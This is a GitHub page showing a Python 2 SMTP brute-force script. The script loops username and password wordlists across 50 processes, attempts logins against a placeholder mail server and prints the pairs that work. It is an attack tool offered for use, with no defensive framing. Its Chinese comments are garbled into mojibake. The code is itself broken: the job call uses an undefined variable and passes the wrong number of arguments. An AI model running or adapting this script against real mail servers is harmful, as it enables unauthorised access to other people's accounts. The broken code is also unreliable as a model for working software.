-
Notifications
You must be signed in to change notification settings - Fork 28
/
smtp爆破脚本.py
40 lines (37 loc) · 1.23 KB
/
smtp爆破脚本.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from optparse import OptionParser
import sys
from smtplib import SMTP,SMTP_SSL
import multiprocessing
# smtp華硊
server = 'smtp.xxx.xx'
def smtpbrute(lock,user,passwd,port):
smtp = SMTP()
try:
smtp.connect(server,port)
smtp.login(user, passwd)
print '[*]%s:%s ------> ok' % (user,passwd)
smtp.quit()
except Exception,e:
pass
def main():
lock = multiprocessing.Manager().Lock()
p = multiprocessing.Pool(processes=50)
parser = OptionParser()
parser.add_option("-u", "--username",dest="userdic",help=u"smtp梛瘍趼萎")
parser.add_option("-p", "--password",dest="passwdic",help=u"smtp躇鎢趼萎")
parser.add_option("-P", "--port",default=25,dest="port",type="int",help=u"smtp傷諳瘍,蘇25")
if len(sys.argv) == 1:
parser.print_help()
else:
(options, args) = parser.parse_args()
with open(options.userdic) as user:
for i in user:
with open(options.passwdic) as passwords:
for j in passwords:
p.apply_async(smtpbrute,args = (lock,i.strip(),j.strip(),k.strip(),options.port))
p.close()
p.join()
if __name__ == '__main__':
main()